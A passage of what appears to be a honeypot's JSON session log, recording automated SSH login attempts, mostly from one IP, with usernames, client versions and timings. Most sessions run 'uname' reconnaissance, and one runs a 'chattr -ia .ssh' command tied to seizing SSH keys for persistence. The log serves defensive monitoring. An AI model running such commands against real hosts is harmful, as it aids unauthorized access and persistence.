  "transcript_bytes": 864
 },
 {
  "id": "7d54356a-749b-4e62-9a2d-59557a9cfeba",
  "name": "crisp-upland-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:25.186235+00:00",
  "ended_at": "2026-08-27T02:46:29.726156+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "78dbe475-4f65-48e7-a3cf-9ccab0507c09",
  "name": "tender-zealous-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52520,
  "username": "tester",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 473,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:10.282450+00:00",
  "ended_at": "2026-08-27T02:46:13.974607+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f8def8e1-bfde-4688-8a19-b64e895648df",
  "name": "deft-quaint-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57170,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:46:08.927448+00:00",
  "ended_at": "2026-08-27T02:46:11.188897+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d13a6078-acbd-442f-902e-251dd22806e5",
  "name": "thorny-alpine-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 55544,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:46:07.040796+00:00",
  "ended_at": "2026-08-27T02:46:14.303891+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e6fc620-ee17-4be3-a726-02c090115a3e",
  "name": "austere-patient-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60168,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 368,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:04.672528+00:00",
  "ended_at": "2026-08-27T02:46:11.187630+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "938aeab0-781d-44f2-a749-0351de8a51e1",
  "name": "lunar-sunlit-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:04.466914+00:00",
  "ended_at": "2026-08-27T02:46:08.444417+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a01ceda-630f-4e2d-b099-634b14e3fed6",
  "name": "sleepy-smoky-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43336,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 427,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:59.100022+00:00",
  "ended_at": "2026-08-27T02:46:05.058258+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd6550c3-d791-40d0-8f2e-51d2ed35945c",
  "name": "jovial-opal-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41794,
  "username": "parsa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:45:57.322750+00:00",
  "ended_at": "2026-08-27T02:46:00.210281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf1e23b2-ee1b-4d33-b1bd-fef9505c83f6",
  "name": "oaken-peaty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54020,
  "username": "parsa",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:52.121325+00:00",
  "ended_at": "2026-08-27T02:46:00.211381+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "4b7059b7-9313-408d-b126-9022a4a2682d",
  "name": "wooded-mottled-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54072,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:44.273226+00:00",
  "ended_at": "2026-08-27T02:45:47.414166+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ced3484-ca41-4bb3-ab85-931bb4e85257",
  "name": "lawful-gleaming-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 605,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:33.849655+00:00",
  "ended_at": "2026-08-27T02:45:37.095132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7ef384ac-60ed-44d9-ae47-69fef161fac4",
  "name": "somber-pewter-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57190,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:29.986596+00:00",
  "ended_at": "2026-08-27T02:45:34.502648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e14dd366-dd76-486d-b256-c58fa634b604",
  "name": "hidden-placid-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48306,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 465,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:27.189497+00:00",
  "ended_at": "2026-08-27T02:45:33.089297+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb139597-01c7-4a7f-977c-cd65b24ce8be",
  "name": "seaward-pleasant-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40890,
  "username": "student",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:23.091989+00:00",
  "ended_at": "2026-08-27T02:45:28.347304+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e417466-be4c-40ff-8748-f02f558d1da5",
  "name": "stormy-forlorn-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 52556,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:45:18.177687+00:00",
  "ended_at": "2026-08-27T02:45:22.655571+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51509014-84e6-4250-8307-7e27b7d15942",
  "name": "fringed-buoyant-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38466,
  "username": "kali",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:13.276871+00:00",
  "ended_at": "2026-08-27T02:45:16.255811+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "f030d6a2-9371-49a7-a319-f87203af173f",
  "name": "zealous-indigo-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38440,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 492,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:11.541353+00:00",
  "ended_at": "2026-08-27T02:45:22.656993+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "940f4440-7273-4972-b331-bcc27c0d6aea",
  "name": "tranquil-lunar-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40870,
  "username": "mysql",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 353,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:10.523669+00:00",
  "ended_at": "2026-08-27T02:45:14.489711+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cef1a3c4-89b5-4efa-bdbb-d96b7656e5f9",
  "name": "marbled-sunlit-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43370,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:45:00.309597+00:00",
  "ended_at": "2026-08-27T02:45:02.259661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb5f733e-9c4e-47e8-9b69-c1ea0b05b016",
  "name": "ancient-sunlit-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35988,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:53.809904+00:00",
  "ended_at": "2026-08-27T02:45:02.260742+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "179d2785-7ead-41b5-9574-03270b7d535c",
  "name": "mindful-marbled-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36060,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:49.976578+00:00",
  "ended_at": "2026-08-27T02:44:52.786769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3180a100-7f1f-4d78-9e02-186bf1f0ff67",
  "name": "woven-stoic-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:37.134465+00:00",
  "ended_at": "2026-08-27T02:44:41.597881+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b6b9b75-2a6e-438d-9c0b-b3b86adbd0fa",
  "name": "vivid-plucky-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:27.055067+00:00",
  "ended_at": "2026-08-27T02:44:30.422639+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27515e63-ed62-4f92-a060-96c00c5d8486",
  "name": "nameless-foggy-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47304,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 385,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:24.515315+00:00",
  "ended_at": "2026-08-27T02:44:27.820198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0d811079-6990-4a4c-9106-9a161da541e0",
  "name": "honest-supple-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53820,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:12.948564+00:00",
  "ended_at": "2026-08-27T02:44:17.281870+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e59567d8-e191-4a8e-93c5-c95529aaa7e1",
  "name": "merry-restless-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51056,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 366,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:12.834632+00:00",
  "ended_at": "2026-08-27T02:44:18.530554+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e35b3aa2-6bd5-4bb4-9e97-f2a2aac8bd2e",
  "name": "ancient-frank-otter",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53478,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:44:10.156831+00:00",
  "ended_at": "2026-08-27T02:44:11.722591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e7a6978-38ba-4c9a-a09f-98ec1a60aa1f",
  "name": "wistful-ginger-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53708,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:06.049311+00:00",
  "ended_at": "2026-08-27T02:44:11.060402+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ec752188-fc3d-4782-93aa-4c52db5c7339",
  "name": "muted-vivid-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54858,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:55.916184+00:00",
  "ended_at": "2026-08-27T02:44:01.373236+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dfdd28e2-fb8f-48a2-93f5-9f0432930fdb",
  "name": "cunning-glacial-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 35992,
  "username": "codex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:43:55.141734+00:00",
  "ended_at": "2026-08-27T02:43:57.400515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8f01816-7dee-40e1-ada8-0adbde1efdaf",
  "name": "oaken-lofty-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53518,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 337,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:54.967203+00:00",
  "ended_at": "2026-08-27T02:43:58.244354+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8d4863ae-950a-4570-baef-fb22b39b440f",
  "name": "velvet-northern-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43402,
  "username": "codex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:50.626087+00:00",
  "ended_at": "2026-08-27T02:43:57.402662+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "3990dd4b-daf9-4877-a928-a701dc56b657",
  "name": "shaded-zealous-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47376,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:43:41.553194+00:00",
  "ended_at": "2026-08-27T02:43:44.020484+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5ea3532b-cd4b-4b9f-bd31-c6d89c3c7051",
  "name": "crystal-knotted-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:41.374840+00:00",
  "ended_at": "2026-08-27T02:43:46.471416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e974c3db-3fd7-4cd0-ba98-d3f7cba3c161",
  "name": "merry-scarlet-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39398,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:37.533965+00:00",
  "ended_at": "2026-08-27T02:43:44.022282+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "57fa0e65-1b70-4f8f-9dee-35de61dc2691",
  "name": "fierce-hollow-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60702,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:31.228580+00:00",
  "ended_at": "2026-08-27T02:43:34.056225+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4117791d-7161-4e25-bcb0-faad45496f04",
  "name": "slender-stoic-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:16.113895+00:00",
  "ended_at": "2026-08-27T02:43:19.648001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3985147-ba8b-465f-a2f3-a4e0fe642f0a",
  "name": "lanky-ginger-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:11.835055+00:00",
  "ended_at": "2026-08-27T02:43:15.069220+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9da4f82b-5572-4572-a5ae-4351db890d57",
  "name": "snowy-hushed-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:07.769775+00:00",
  "ended_at": "2026-08-27T02:43:11.342339+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92b2824c-c52d-4df3-8adf-aa597f98d9df",
  "name": "marine-blithe-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:01.576121+00:00",
  "ended_at": "2026-08-27T02:43:07.212366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "55e91234-396d-4f32-acff-c14ee463720a",
  "name": "eager-somber-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52376,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:51.815739+00:00",
  "ended_at": "2026-08-27T02:42:54.516207+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eb81c999-03f2-4de1-95c1-9339a22b2e7d",
  "name": "sterling-quiet-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52280,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:47.836107+00:00",
  "ended_at": "2026-08-27T02:42:51.393230+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f414ec97-3922-4299-b766-1b975b97d0d8",
  "name": "grassy-mindful-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 43358,
  "username": "kafka",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:47.835126+00:00",
  "ended_at": "2026-08-27T02:42:50.461341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f6236f0-ca0a-4338-9bcc-0a16332a2ac8",
  "name": "nimble-hushed-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51852,
  "username": "kafka",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:44.682882+00:00",
  "ended_at": "2026-08-27T02:42:50.462229+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "57c97805-7534-4b14-b1d7-46f7c0a8c358",
  "name": "deft-plush-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "118.194.228.101",
  "src_port": 53642,
  "username": "ts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 565,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T02:42:38.067078+00:00",
  "ended_at": "2026-08-27T02:42:39.177391+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "c0f26a15-2e84-4356-8160-c865b1a7ce17",
  "name": "orderly-lively-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 60680,
  "username": "gns3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:37.275071+00:00",
  "ended_at": "2026-08-27T02:42:40.282251+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "502de4f2-5e65-41b3-b5d6-484b1e5a3436",
  "name": "frosty-gentle-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51776,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 423,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:36.949249+00:00",
  "ended_at": "2026-08-27T02:42:42.648026+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03c973a9-2eef-4dfb-8ec6-f159c092f51d",
  "name": "shaded-candid-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39920,
  "username": "gns3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:30.262001+00:00",
  "ended_at": "2026-08-27T02:42:40.281079+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "4328a23d-6c32-49dc-acb6-97da825da524",
  "name": "weathered-gleaming-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:25.146501+00:00",
  "ended_at": "2026-08-27T02:42:30.603235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a68d04a6-cace-4613-be36-8c3013d3a2ae",
  "name": "idle-tranquil-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "118.194.228.101",
  "src_port": 41018,
  "username": "ts",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:42:16.725121+00:00",
  "ended_at": "2026-08-27T02:42:18.595507+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c504b7ef-fa2d-44ff-961f-d451310df45e",
